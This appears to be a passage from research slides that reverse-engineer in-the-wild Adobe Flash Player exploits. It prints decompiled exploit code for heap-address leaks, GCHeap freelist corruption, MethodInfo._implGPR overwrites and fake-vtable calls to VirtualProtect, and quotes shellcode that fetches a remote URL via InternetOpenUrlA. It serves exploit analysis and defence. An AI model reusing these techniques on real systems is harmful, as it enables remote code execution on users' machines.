    var _loc3_:* = {
        "firstFree":jjjj22222lpmc.ReadPointer(param1),
        "nextItem":jjjj22222lpmc.ReadPointer(param1),
        "next":jjjj22222lpmc.ReadPointer(param1),
        "prev":jjjj22222lpmc.ReadPointer(param1),
        "numAlloc":param1.readUnsignedShort(),
        "size":param1.readUnsignedShort(),
        "prevFree":jjjj22222lpmc.ReadPointer(param1),
        "nextFree":jjjj22222lpmc.ReadPointer(param1),
        "alloc":jjjj22222lpmc.ReadPointer(param1),
        "blockData":param1,
        "blockAddr":param2
    };
    return _loc3_;
}
```

```
struct FixedBlock
{
    void*  firstFree;        // First object on the block's free list
    void*  nextItem;        // First object free at the end of the block
    FixedBlock* next;        // Next block on the list of blocks (m_firstBlock list
in the allocator)
    FixedBlock* prev;        // Previous block on the list of blocks
    uint16_t numAlloc;       // Number of items allocated from the block
    uint16_t size;          // Size of objects in the block
    FixedBlock *nextFree;    // Next block on the list of blocks with free items
(m_firstFree list in the allocator)
    FixedBlock *prevFree;    // Previous block on the list of blocks with free items
    FixedAlloc *alloc;       // The allocator that owns this block
    char  items[1];         // Memory for objects starts here
};
```



*ByteArray* address leak

# *GetByteArrayAddress* → *EnumerateFixedBlocks*

```
public function J34534534(_arg_1:*, _arg_2:Object, _arg_3:Jdfgdfgd34):void
{
    ...
    hgfh4343 = 24;
    if (((((nnfgfg3.nfgh23[0] >= 20)) || (((nnfgfg3.nfgh23[0] == 18)) && ((nnfgfg3.nfgh23[3] >= 324)))))) < Flash version check
    {
        ...
        hgfh4343 = 40;
    };
    ...
}

public function GetByteArrayAddress (param1:ByteArray, param2:Boolean = false, param3:int = 0) : Array
{
    ...
    var _loc9_:Array = jhghjhj234544. EnumerateFixedBlocks (hgfh4343,true); < hgfh4343 is 40 or 24 depending on the Flash version
    - this is supposed to be the ByteArray object size
}
```

*GetByteArrayAddress* (hgfh342) uses *EnumerateFixedBlocks* (hhh222) to locate heap address of the *ByteArray* object.

When it calls *EnumerateFixedBlocks* (hhh222), it passes the expected *ByteArray* object size (40 or 24 depending on the Flash version running).

# GetByteArrayAddress (hgfh342) heuristic search on marker values

```
public function GetByteArrayAddress(_arg_1:ByteArray,
_arg_2:Boolean=false, marker:int=0):Array
{
    ...
    var fixedBlockArr:Array = jhghjhj234544.
EnumerateFixedBlocks(hgfh4343, true);
    var _local_10:int;
    var fixedBlockArrLength:int = fixedBlockArr.length;
    while (_local_10 < fixedBlockArrLength)
    {
        i = _local_10++;
        _local_13 = ((Jdfgdf435GwgVfg.Hfghghf3 -
gfhghfhg444444.cvhcvb345) / hgfh4343);
        _local_14 = gfhghfhg444444.cvhcvb345;
        _local_15 = fixedBlockArr[i].blockData;
        while (_local_13 > 0)
        {
            _local_15.position = _local_14;
            if (bgfh4)
            {
                _local_15.position = (_local_14 + bbfgh4);
                _local_16 = _local_15.readUnsignedInt();
                _local_15.position = (_local_14 + bgfhghf34);
                _local_17 = _local_15.readUnsignedInt();
```

```
                if ((_local_16 == _local_5))
                {
                    _local_15.position = (_local_14 +
bbgfgh4);
                    _local_7 =
gggexss.AddInt64(fixedBlockArr[i].blockAddr, _local_14);
                    _local_6 =
jhghjhj234544.jjjj22222lpmc.ReadPointerSizeData(_local_15, false);
                    if (((marker!= (0)) && (((!((_local_6.high
== _local_8.high))) || (!((_local_6.low == _local_8.low)))))))
                    {
                        if (hhiwr.read4(_local_6) == marker) ←
Compare marker
                        {
                            return ([_local_7, _local_6]);
                        }
                    }
                }
            }
        }
    }
}
```

*GetByteArrayAddress (hgfh342) method is used to retrieve virtual address to each ByteArrays (jjgfhg3, jh5).*

Acquiring GCBlock structure

# PredictableGC location

- With CVE-2015-8446 exploit in the wild, it used memory predictability to locate *MMgc* related data structures.

# *GCBlockHeader* structure

```
/**
 * Common block header for GCAalloc and GCLargeAlloc.
 */
struct GCBlockHeader
{
    uint8_t      bibopTag;    // *MUST* be the first byte. 0 means "not a bibop block." For others, see core/atom.h.
    uint8_t      bitsShift;   // Right shift for lower 12 bits of a pointer into the block to obtain the mark bit item for that
pointer
                                // bitsShift is only used if MMGC_FASTBITS is defined but its always present to simplify header
layout.
    uint8_t      containsPointers; // nonzero if the block contains pointer-containing objects
    uint8_t      rcoobject;        // nonzero if the block contains RCOobject instances
    uint32_t      size;            // Size of objects stored in this block
    GC*           gc;              // The GC that owns this block
    GCAallocBase* alloc;          // the allocator that owns this block
    GCBlockHeader* next;         // The next block in the list of blocks for the allocator
    gcbits_t*     bits;          // Variable length table of mark bit entries
};
```

```
ReadInt 1a000004 000007b0 <-- GCBlock.size
ReadInt 1a000008 0c3ff000 <-- GCBlock.gc
```

- After heap-spraying with *Array* objects, the address 0x1a000000 is predictably allocated with an *GCBlock* object.
- 0x1a000008 == the base for GC object

# JIT attacks

Freelists manipulation

# Agenda

- Reverse Engineering Methods
  - Decompilers/Disassemblers/FlashHacker/AVMPlus source code/native level debugging
- RW Primitives
  - Vector.length corruption
  - ByteArray.length corruption
  - ConvolutionFilter.matrix to tabStops type-confusion
- CFG
- MMgc
- **JIT attacks**
- FunctionObject corruption



# Attack landscape changes to JIT

- The attackers are moving into JIT space. We already saw a conceptual attack method presented by Francisco Falcon.
  - Runtime CFG code in JIT will mitigate the exploitation method.
- From the real world exploits (CVE-2016-1010 and CVE-2015-8446), we observed more advanced attack methods including a method to corrupt return addresses on the stack, which is a known limitation of CFG.
  - Details of this attack method will be discussed in our future research paper of the author.
- We are going to share some details on *freelists* abuse method and *MethodInfo.\_implGPR* corruption method.

# Allocating and writing shellcode on *ByteArray* buffer

```
public function StartExploit(_arg_1:ByteArray, _arg_2:int):Boolean
{
    var _local_4:int;
    var _local_11:int;
    if (!(AllocateByteArrays ()))
    {
        return (false);
    };

    ...

    _local_8 = _local_12;
    jh5.position = (_local_8.low + 0x1800); <-- a little bit inside the heap region, to be safe not to be cleared up
    jh5.writeBytes(_arg_1); <-- Writing shellcode to target ByteArray.
```

From CVE-2016-1010 exploit, *StartExploit (hgfhfgj2)* method calls *AllocateByteArrays (jhghj22222)* method and uses *jh5* *ByteArray* to write shellcode bytes to the a heap area.

# Permission of shellcode memory=RW

```
0:007> !address 16dc3000
Usage:          <unknown>
Base Address:   16cf9000
End Address:    17176000
Region Size:    00200000 ( 2.000 MB)
State:          00001000    MEM_COMMIT
Protect:        00000004    PAGE_READWRITE ← Protection mode is RW
Type:           00020000    MEM_PRIVATE
Allocation Base: 16cf9000
Allocation Protect: 00000001    PAGE_NOACCESS

Content source: 1 (target), length: 1000
```

# Allocating *ByteArray* objects and leaking their virtual address

```
public function AllocateByteArrays():Boolean
{
    ...
    var randomInt:int = Math.ceil(((Math.random() * 0xFFFFFFFF) + 1));
    // Create shellcode ByteArray
    shellcode_bytearray = new ByteArray();
    shellcode_bytearray.endian = Endian.LITTLE_ENDIAN;
    shellcode_bytearray.writeUnsignedInt(_local_1);
    shellcode_bytearray.length = 0x20313;

    // Create freelists ByteArray
    freelists_bytearray = new ByteArray();
    freelists_bytearray.endian = Endian.LITTLE_ENDIAN;
    freelists_bytearray.writeUnsignedInt(_local_1);
    freelists_bytearray.length = 0x1322;

    g4 = GetByteArrayAddress(freelists_bytearray, false, randomInt)[1]; ← Freelists ByteArray
    hg45 = GetByteArrayAddress(shellcode_bytearray, false, randomInt)[1]; ← Shellcode ByteArray
    _local_2 = hg45;
    _local_4 = new ___Int64(0, 0);
    _local_3 = _local_4;
    return ((((!((_local_2.high == _local_3.high))) || (!((_local_2.low == _local_3.low)))) && (((!((_local_2.high ==
_local_3.high))) || (!((_local_2.low == _local_3.low))))));
}
```

# Corrupting *freelists.prev/next*

```
class GCHep
{
    ...
    Region *freeRegion;
    Region *nextRegion;
    HeapBlock *blocks;
    size_t blocksLen;
    size_t numDecommitted;
    size_t numRegionBlocks;
    HeapBlock freelists[kNumFreeLists];
    size_t numAlloc;
```

The exploit abuses *freelists* array from GCHep object. The *freelists* contains the memory that are freed and reserved for future allocations.

# Corrupting *freelists.prev/next*

```
// Block struct used for free lists and memory traversal
class HeapBlock
{
public:
    char *baseAddr;    // base address of block's memory
    size_t size;        // size of this block
    size_t sizePrevious; // size of previous block
    HeapBlock *prev;    // prev entry on free list ← Corruption target
    HeapBlock *next;    // next entry on free list ← Corruption target
    bool committed;    // is block fully committed?
    bool dirty;        // needs zero'ing, 0 = clean
```

0x6fb7bbb0 is the element of the *freelists* array which is *HeapBlock* type.

```
Enter: A1/instance/read4(00000000`6fb7bbb4)
```

```
Return: A1/instance/read4 6fb7bba4
```

```
Enter: A1/instance/write4(00000000`6fb7bbb0, 16893000)
```

```
Return: A1/instance/write4 null
```

```
Enter: A1/instance/write4(00000000`6fb7bbb4, 16893000)
```

```
Return: A1/instance/write4 null
```

The exploit overwrites *HeapBlock.prev* at 0x6fb7bbb0 and *HeapBlock.next* at 0x6fb7bbb4 to fake *HeapBlock* structure at 0x16893000 (*HeapBlock.baseAddr*=0x16dc3000).

```
0:000> dds 6fb7bba4 ← HeapBlock structure
```

```
6fb7bba4 00000000
```

```
6fb7bba8 00000000
```

```
6fb7bbac 00000000
```

```
6fb7bbb0 6fb7bba4 HeapBlock.prev ← Corrupted to 16893000
```

```
6fb7bbb4 6fb7bba4 HeapBlock.next ← Corrupted to 16893000
```

```
6fb7bbb8 00000101
```

```
6fb7bbbc 00000000
```

```
6fb7bbc0 00000000
```

```
6fb7bbc4 00000000
```

# Locating shellcode *ByteArray* buffer address

```
- Call Return: int.hgfh342 Array
  Location: J34534534/instance/jhgjhj22222 block id: 0 line no: 76
  Method Name: hgfh342
  Return Object ID: 0x248 (584)
  Object Type: int
  Return Value:
    Object:
      high: 0x0 (0)
      low: 0xc122d40 (202517824)
      high: 0x0 (0)
      low: 0x16dc3000 (383528960) <--- base address of shellcode
```

## *ByteArray*

```
Object Type: Array
Log Level: 0x3 (3)
Name:
Object Name:
Object ID: 0x1d1 (465)
```

Shellcode will be allocated inside 0x16dc3000 *ByteArray* memory. This virtual address was retrieved using *GetByteArrayAddress (hgfh342)* function.

```
0:000> dds 16893000
16893000 16dc3000 <--- ptr to shellcode page (heapBlock.baseAddr)
16893004 00000010
16893008 00000000
1689300c 00000000
16893010 00000000
16893014 00000001
16893018 41414141
1689301c 41414141
16893020 41414141
16893024 41414141
```

```
0:000> dds 16dc3000 <-- shellcode ByteArray buffer, JIT operation
target
16dc3000 00000000
16dc3004 00000000
16dc3008 16dd2fec
16dc300c 00000001
16dc3010 16dd2e6c
16dc3014 00000000
16dc3018 00000000
16dc301c 00000000
```

# GCHeap::AllocBlock

```
GCHeap::HeapBlock* GCHeap::AllocBlock(size_t size, bool& zero, size_t alignment)
{
    uint32_t startList = GetFreeListIndex(size);
    HeapBlock *freelist = &freelists[startList]; ← retrieving heap block from free list

    HeapBlock *decommittedSuitableB
    ...
```

```
0:026> g
Breakpoint 1 hit
eax=16dc3000 ebx=16893000 ecx=00000000 edx=00000000 esi=00000010 edi=00000001
eip=6d591cc2 esp=0b550ed8 ebp=0b550efc iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200297
Flash!MMgc::alignmentSlop+0x2 [inlined in Flash!MMgc::GCHeap::Partition::AllocBlock+0x72]:
6d591cc2 8bd7          mov     edx,edi
...
0:026> u eip -6
...
6d591cc0 8b03          mov     eax,dword ptr [ebx] ← retrieving heap block from free list
0:026> r ebx
ebx=16893000

6d591cc2 8bd7          mov     edx,edi
6d591cc4 c1e80c        shr     eax,0Ch
6d591cc7 23c1          and     eax,ecx
6d591cc9 2bd0          sub     edx,eax
6d591ccb 23d1          and     edx,ecx
```



# *GCHeap::AllocBlock → shellcode RX*

```
public dynamic class Boot extends MovieClip
{
    ...
    public function doInitDelay(_arg_1:*) : void
    {
        Lib.current.removeEventListener(Event.ADDED_TO_STAGE,
doInitDelay);
        start();
    }

    public function start():void
    {
        ...
        if (_local_2.stage == null)
        {
            _local_2.addEventListener(Event.ADDED_TO_STAGE,
doInitDelay);
            ...
        };
    }
}
```

Shellcode memory at 0x16dc3000 will be reclaimed by GCHeap::AllocBlock as a JIT memory with RX permission.

```
0:006> !address 16dc3000
Usage:                <unknown>
Base Address:         16dc3000
End Address:          17050000
Region Size:          00010000 ( 64.000 kB)
State:                00001000      MEM_COMMIT
Protect:              00000020      PAGE_EXECUTE_READ
Type:                 00020000      MEM_PRIVATE
Allocation Base:      16cf9000
Allocation Protect:   00000001      PAGE_NOACCESS
```

Content source: 1 (target), length: 1000

# JIT attacks

*MethodInfo.\_implGPR Corruption*

# *MethodInfo.\_implGPR* function pointer is called upon JIT function return

```
/**
 * Base class for MethodInfo which contains invocation pointers.
 * These
 * pointers are private to the ExecMgr instance and hence declared
 * here.
 */
class GC_CPP_EXACT(MethodInfoProcHolder, MMgc::GCTraceableObject)
{
    ...

private:
    union {
        GprMethodProc _implGPR; <---
        FprMethodProc _implFPR
        FLOAT_ONLY(VecrMethodProc _implVECR;)
    };
};
```

```
Atom BaseExecMgr::endCoerce(MethodEnv* env, int32_t argc, uint32_t
*ap, MethodSignaturep ms)
{
    ...
    AvmCore* core = env->core();
    const int32_t bt = ms->returnTraitsBT();

    switch(bt){
        ...
        default:
        {
            STACKADJUST(); // align stack for 32-bit Windows and MSVC
compiler
            const Atom i = (*env->method->_implGPR)(env, argc, ap);
            STACKRESTORE();
            ...
        }
    }
}
```

# Memory dump of *CustomByteArray* object

```
0:000> dd 0f4a0020 <--- CustomByteArray is allocated at predictable address
0f4a0020  595c5e54 20000006 1e0e3ba0 1e1169a0
0f4a0030  0f4a0038 00000044 595c5da4 595c5db8
0f4a0040  595c5dac 595c5dc0 067acca0 07501000
0f4a0050  0af19538 00000000 00000000 2e0b6278
0f4a0060  594f2b6c 0f4a007c 00000000 00000000
0f4a0070  595c5db0 00000003 00000001*ffeedd00* <-- Start of object member data (public var _SafeStr_625:uint = 0xFFEEDD00)
0f4a0080  ffeedd01 f0000000 ffffffff ffffffff
0f4a0090  00000000 50cefe43 5f3101bc 5f3101bc
0f4a00a0  a0cefe43 ffeedd0a ffeedd0b ffeedd0c
0f4a00b0  ffeedd0d 00000f85 ffeedd0f ffeedd10
0f4a00c0  ffeedd11 ffeedd12 ffeedd13 ffeedd14
0f4a00d0  ffeedd15 ffeedd16 ffeedd17 ffeedd18
0f4a00e0  ffeedd19 ffeedd1a ffeedd1b ffeedd1c
0f4a00f0  ffeedd1d ffeedd1e ffeedd1f*16e7f371* <-- public var _SafeStr_164:Object (points to _SafeStr_16._SafeStr_340 MethodClosure)
0f4a0100  e0000000 7fffffff e0000000 7fffffff
0f4a0110  e0000000 7fffffff e0000000 7fffffff
0f4a0120  e0000000 7fffffff e0000000 7fffffff
0f4a0130  e0000000 7fffffff e0000000 7fffffff
0f4a0140  e0000000 7fffffff e0000000 7fffffff
0f4a0150  e0000000 7fffffff e0000000 7fffffff
0f4a0160  e0000000 7fffffff e0000000 7fffffff
0f4a0170  e0000000 7fffffff e0000000 7fffffff
```

To achieve the *\_implGPR* corruption, *CustomByteArray* objects are sprayed on the heap first. *CustomByteArray* is declared like following.

# CustomByteArray class

```
public class CustomByteArray extends ByteArray
{
    private static const _SafeStr_35:_SafeStr_10 =
_SafeStr_10._SafeStr_36();
    public var _SafeStr_625:uint = 0xFFEEDD00;
    public var _SafeStr_648:uint = 4293844225;
    public var _SafeStr_629:uint = 0xF0000000;
    public var _SafeStr_631:uint = 0xFFFFFFFF;
    public var _SafeStr_633:uint = 0xFFFFFFFF;
    public var _SafeStr_635:uint = 0;
    public var _SafeStr_628:uint = 0xAAAAAAAA;
    public var _SafeStr_630:uint = 0xAAAAAAAA;
    public var _SafeStr_632:uint = 0xAAAAAAAA;
    public var _SafeStr_634:uint = 0xAAAAAAAA;
    public var _SafeStr_649:uint = 4293844234;
    public var _SafeStr_650:uint = 4293844235;
    public var _SafeStr_651:uint = 4293844236;
    public var _SafeStr_652:uint = 4293844237;
    public var _SafeStr_653:uint = 4293844238;
    public var _SafeStr_626:uint = 4293844239;
    public var _SafeStr_654:uint = 4293844240;
    public var _SafeStr_655:uint = 4293844241;
    public var _SafeStr_656:uint = 4293844242;
    public var _SafeStr_657:uint = 4293844243;
    public var _SafeStr_658:uint = 4293844244;
    public var _SafeStr_659:uint = 4293844245;
    public var _SafeStr_660:uint = 4293844246;
```

```
    public var _SafeStr_661:uint = 4293844247;
    public var _SafeStr_662:uint = 4293844248;
    public var _SafeStr_663:uint = 4293844249;
    public var _SafeStr_664:uint = 4293844250;
    public var _SafeStr_665:uint = 4293844251;
    public var _SafeStr_666:uint = 4293844252;
    public var _SafeStr_667:uint = 4293844253;
    public var _SafeStr_668:uint = 4293844254;
    public var _SafeStr_669:uint = 4293844255;
    public var _SafeStr_164:Object; <---
    private var _SafeStr_670:Number;
    private var _SafeStr_857:Number;
    private var static:Number;
    private var _SafeStr_858:Number;

    ...

    private var _SafeStr_891:Number;

    public function CustomByteArray(_arg_1:uint)
    {
        endian = _SafeStr_35.1[_SafeStr_35.I111];
        this._SafeStr_164 = this;
        this._SafeStr_653 = _arg_1;
        return;
        return;
    }
```

# Corruption target method

```
// _SafeStr_16 = "while with" (String#127, DoABC#2)
// _SafeStr_340 = "const while" (String#847, DoABC#2)
public class _SafeStr_16
{
...
    private static function _SafeStr_340(... _args):uint <--
Corruption target method
    {
        return (0);
    }
}
```

# Locating and corrupting *MethodInfo.\_implGPR* field

```
* ReadInt: 0f4a00fc 16e7f371 ← CustomByteArray is at 0f4a0000
* ReadInt: 16e7f38c 068cdcb8 ← MethodClosure structure is at 16e7f370. Next pointer offset is 16e7f38c-16e7f370=1c.
* ReadInt: 068cdcc0 1e0b6270 ← MethodEnv structure is at 068cdcb8 . Next pointer offset is 068cdcc0-068cdcb8=8
* WriteInt: 1e0b6274 0b8cdcb0 (_SafeStr_340) -> 01fb0000 (Shellcode) ← Overwriting MethodInfo._impGPR pointer to shellcode location
```

CustomByteArray (0x0f4a0020).\_SafeStr\_164 -> MethodClosure (0x 16e7f370) -> MethodEnv (0x068cdcb8) -> MethodInfo (0x1e0b6270) -> MethodInfo.\_implGPR (0x1e0b6274)

# Before: The *\_impGPR* points to Flash code

```
0b8cdcb0 55          push    ebp
0b8cdcb1 8bec          mov     ebp,esp
0b8cdcb3 90            nop
0b8cdcb4 83ec18        sub     esp,18h
0b8cdcb7 8b4d08        mov     ecx,dword ptr [ebp+8]
0b8cdcba 8d45f0        lea     eax,[ebp-10h]
0b8cdcbd 8b1550805107  mov     edx,dword ptr ds:[7518050h]
0b8cdcc3 894df4        mov     dword ptr [ebp-0Ch],ecx
0b8cdcc6 8955f0        mov     dword ptr [ebp-10h],edx
0b8cdcc9 890550805107  mov     dword ptr ds:[7518050h],eax
0b8cdccf 8b1540805107  mov     edx,dword ptr ds:[7518040h]
0b8cdcd5 3bc2          cmp     eax,edx
0b8cdcd7 7305          jae     0b8cdcde
0b8cdcd9 e8c231604d    call    Flash!IAEModule_IAEKernel_UnloadModule+0x1fd760
(58ed0ea0)
0b8cdcde 33c0          xor     eax,eax
0b8cdce0 8b4df0        mov     ecx,dword ptr [ebp-10h]
0b8cdce3 890d50805107  mov     dword ptr ds:[7518050h],ecx
0b8cdce9 8be5          mov     esp,ebp
0b8cdceb 5d            pop     ebp
0b8cdcec c3            ret
```

The pointer at *MethodInfo.\_implGPR* (0x1e0b6274) is 0x0b8cdcb0 (inside Flash.ocx).



# After: The *\_impGPR* points to shellcode

```
01fb0000 60          pushad
01fb0001 e802000000  call    01fb0008
01fb0006 61          popad
01fb0007 c3          ret
01fb0008 e900000000  jmp     01fb000d
01fb000d 56          push    esi
01fb000e 57          push    edi
01fb000f e83b000000  call    01fb004f
01fb0014 8bf0        mov     esi,eax
01fb0016 8bce        mov     ecx,esi
01fb0018 e86f010000  call    01fb018c
01fb001d e88f080000  call    01fb08b1
01fb0022 33c9        xor     ecx,ecx
01fb0024 51          push    ecx
01fb0025 51          push    ecx
01fb0026 56          push    esi
01fb0027 05cb094000  add     eax,4009CBh
01fb002c 50          push    eax
01fb002d 51          push    ecx
01fb002e 51          push    ecx
01fb002f ff560c      call    dword ptr [esi+0Ch]
01fb0032 8bf8        mov     edi,eax
01fb0034 6aff        push    0FFFFFFFFh
01fb0036 57          push    edi
01fb0037 ff5610      call    dword ptr [esi+10h]
```

```
01fb003a 57          push    edi
01fb003b ff5614      call    dword ptr [esi+14h]
01fb003e 5f          pop     edi
01fb003f 33c0        xor     eax,eax
01fb0041 5e          pop     esi
01fb0042 c3          ret
```

The pointer at *MethodInfo.\_implGPR* (0x1e0b6274) points to shellcode address after corruption.

# Code to trigger shellcode

```
private function _SafeStr_355(_arg_1:*)  
{  
    return (_SafeStr_340.call.apply(null, _arg_1));  
}  
  
private function _SafeStr_362()  
{  
    return (_SafeStr_340.call(null));  
}
```

FunctionObject corruption

# Agenda

- Reverse Engineering Methods
  - Decompilers/Disassemblers/FlashHacker/AVMPlus source code/native level debugging
- RW Primitives
  - Vector.length corruption
  - ByteArray.length corruption
  - ConvolutionFilter.matrix to tabStops type-confusion
- CFG
- MMgc
- JIT attacks
- **FunctionObject corruption**

# Hacking Team

- *FunctionObject* corruption has been observed multiple times from different exploits, especially the exploits originated from Hacking Team shows this technique.

# AS3\_call, AS3\_apply

```
class GC_AS3_EXACT(FunctionObject, ClassClosure)
{
    ...
    // AS3 native methods
    int32_t get_length();
    Atom AS3_call(Atom thisAtom, Atom *argv, int argc);
    Atom AS3_apply(Atom thisAtom, Atom argArray);
}
```

```
Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray)
{
    thisArg = get_coerced_receiver(thisArg);
    ...
    if (!AvmCore::isNullOrUndefined(argArray))
    {
        AvmCore* core = this->core();
        ...
        return core->exec->apply(get_callEnv(), thisArg,
            (ArrayObject*)AvmCore::atomToScriptObject(argArray));
    }
}
```

```
/**
 * Function.prototype.call()
 */
Atom FunctionObject::AS3_call(Atom thisArg, Atom *argv, int argc)
{
    thisArg = get_coerced_receiver(thisArg);
    return core()->exec->call(get_callEnv(), thisArg, argc, argv);
}
```

This exploit uses very specific method of corrupting *FunctionObject* and using *apply* and *call* method of the object to achieve shellcode execution.

# *ExecMgr apply and call*

```
class ExecMgr
{
    ...
    /** Invoke a function apply-style, by unpacking arguments from an array */
    virtual Atom apply(MethodEnv*, Atom thisArg, ArrayObject* a) = 0;
    /** Invoke a function call-style, with thisArg passed explicitly */
    virtual Atom call(MethodEnv*, Atom thisArg, int32_t argc, Atom* argv) = 0;
```

# Trigger class with dummy function

```
package
{
    public class Trigger
    {
        public static function dummy(... _args):void
        {
        }
    }
}
```



# Resolving *FunctionObject* *vptr* address

```
Trigger.dummy();  
var _local_1:uint = getObjectAddr(Trigger.dummy);  
var _local_6:uint = read32(((read32((read32((read32((_local_1 + 0x08)) + 0x14)) + 0x04)) + ((isDbg) ? 0xBC : 0xB0)) +  
(isMitis * 0x04))); ← _local_6 holds address to FunctionObject vptr pointer  
var _local_5:uint = read32(_local_6);
```

- This leaked vtable pointer is later overwritten with fake vtable's address.
- Fake vtable itself is cloned from original one and the pointer to *apply* method is replaced with *VirtualProtect* API.

# Call *VirtualProtect* through *apply* method

address

```
var virtualProtectAddr:uint = getImportFunctionAddr("kernel32.dll", "VirtualProtect"); ← resolving kernel32!VirtualProtect
```

```
if (!virtualProtectAddr)
{
    return (false);
};
```

```
var _local_3:uint = read32((_local_1 + 0x1C));
var _local_4:uint = read32((_local_1 + 0x20));
```

```
//Build fake vftable
```

```
var _local_9:Vector.<uint> = new Vector.<uint>(0x00);
```

```
var _local_10:uint;
```

```
while (_local_10 < 0x0100)
```

```
{
```

```
    _local_9[_local_10] = read32((( _local_5 - 0x80) + (_local_10 * 0x04)));
```

```
    _local_10++;
```

```
};
```

```
//Replace vptr
```

```
_local_9[0x27] = virtualProtectAddr;
```

```
var _local_2:uint = getAddrUIntVector(_local_9);
```

```
write32(_local_6, (_local_2 + 0x80)); ← _local_6 holds the pointer to FunctionObject
```

```
write32((_local_1 + 0x1C), execMemAddr); ← execMemAddr points to the shellcode memory
```

```
write32((_local_1 + 0x20), 0x1000);
```

```
var _local_8:Array = new Array(0x41);
```

```
Trigger.dummy.call.apply(null, _local_8); ← call kernel32!VirtualProtect upon shellcode memory
```

# Fake *vftable* with *VirtualProtect* pointer overwritten over *AS3\_apply* pointer

```
6cb92679 b000      mov     al,0
6cb9267b 0000      add     byte ptr [eax],al
6cb9267d 8b11      mov     edx,dword ptr [ecx] <--- read
corrupt vftable 07e85064
6cb9267f 83e7f8    and     edi,0FFFFFFF8h
6cb92682 57        push    edi
6cb92683 53        push    ebx
6cb92684 50        push    eax
6cb92685 8b4218    mov     eax,dword ptr [edx+18h]
6cb92688 ffd0      call    eax ← Calls
kernel32!VirtualProtect
```

```
WriteInt 07e85064 6d19a0b0 -> 087d98c0 ← Corrupt vftable
pointer
```

```
0:031> dds ecx
07e85064 080af90c ← pointer to vftable
07e85068 07e7a020
07e8506c 07e7a09c
07e85070 00000000
07e85074 00000000
07e85078 6d19cc70
07e8507c 651864fd
```

```
0:031> dds edx
080af90c 6cb72770
080af910 6cb72610
080af914 6cb73990
080af918 6cb73a10
080af91c 6cb9d490
080af920 6cd8b340
080af924 6cb73490
080af928 75dc4317 kernel32!VirtualProtect <---- corrupt vptr
080af92c 6cb72960
080af930 6cab4830
080af934 6cb73a50
...
```

# Shellcode execution through call method

```
Trigger.dummy();
var _local_2:uint = getObjectAddr(Trigger.dummy);
var functionObjectVptr:uint = read32(((read32(read32(read32(_local_2 + 0x08)) + 0x14)) + 0x04)) + ((isDbg) ? 0xBC :
0xB0)) + (isMitis * 0x04)); ← Locate FunctionObject vptr pointer in memory
var _local_3:uint = read32(_local_4);
if (((!((sc == null)))) && (!((sc == execMem))))
{
    execMem.position = 0x00;
    execMem.writeUnsignedInt((execMemAddr + 0x04));
    execMem.writeBytes(sc);
};
write32(functionObjectVptr, (execMemAddr - 0x1C)); ← 0x1C is the call pointer offset in vptr
Trigger.dummy.call(null);
```

# InternetOpenUrlA shellcode

```
_local_5 = _se.callerEx("WinINet!InternetOpenA", new <Object>["stilife", 0x01, 0x00, 0x00, 0x00]);
if (!_local_5)
{
    return (false);
};
_local_18 = _se.callerEx("WinINet!InternetOpenUrlA", new <Object>[_local_5, _se.BAToStr(_se.h2b(_se.urlID)), 0x00, 0x00,
0x80000000, 0x00]);
if (!_local_18)
{
    _se.callerEx("WinINet!InternetCloseHandle", new <Object>[_local_5]);
    return (false);
};
```

```
* AS3 Call
08180024 b80080e90b    mov     eax,0BE98000h
08180029 94                xchg    eax,esp
0818002a 93                xchg    eax,ebx
0818002b 6800000000        push    0
08180030 6800000000        push    0
08180035 6800000000        push    0
0818003a 6801000000        push    1
0818003f 68289ed40b        push    0BD49E28h
08180044 b840747575        mov     eax,offset WININET!InternetOpenA (75757440) ← Call
to WININET! InternetOpenA
08180049 ffd0              call    eax
0818004b bf50eed40b        mov     edi,0BD4EE50h
```

This shellcode running routine is highly modularized. This makes shellcode building and running very extensible.

# Conclusion

- There are not much of freedom when you reverse engineer Adobe Flash Player exploits.
- Start from instrumenting byte code and put helper code that can be used tactically for Flash module or JIT level debugging.
- Recent exploits are focusing on *MMgc* memory parsing and locating various objects to get access to the internal data structures (including JIT stack) for code execution.
- This predictability of heap layout and heap address is actively abused by Adobe Flash Player exploits recently.

# Samples used

CVE-ID	SHA1	Discussed techniques
CVE-2015-0336	2ae7754c4dbec996be0bd2bbb06a3d7c81dc4ad7	<i>vftable</i> corruption
CVE-2015-5122	e695fbeb87cb4f02917e574dabb5ec32d1d8f787	<i>Vector.length</i> corruption
CVE-2015-7645	2df498f32d8bad89d0d6d30275c19127763d5568	<i>ByteArray.length</i> corruption
CVE-2015-8446	48b7185a5534731726f4618c8f655471ba13be64 c2cee74c13057495b583cf414ff8de3ce0fdf583	<i>GCBLOCK</i> structure abuse JIT stack corruption
CVE-2015-8651 (DUBNIUM)		<i>FunctionObject</i> corruption
CVE-2015-8651 (Angler)	10c17dab86701bcdafc6f01f7ce442116706b024	<i>MethodInfo._implGPR</i> corruption
CVE-2016-1010	6fd71918441a192e667b66a8d60b246e4259982c	<i>ConvolutionFilter.matrix</i> to <i>tabStops</i> type-confusion <i>MMgc</i> parsing JIT stack corruption

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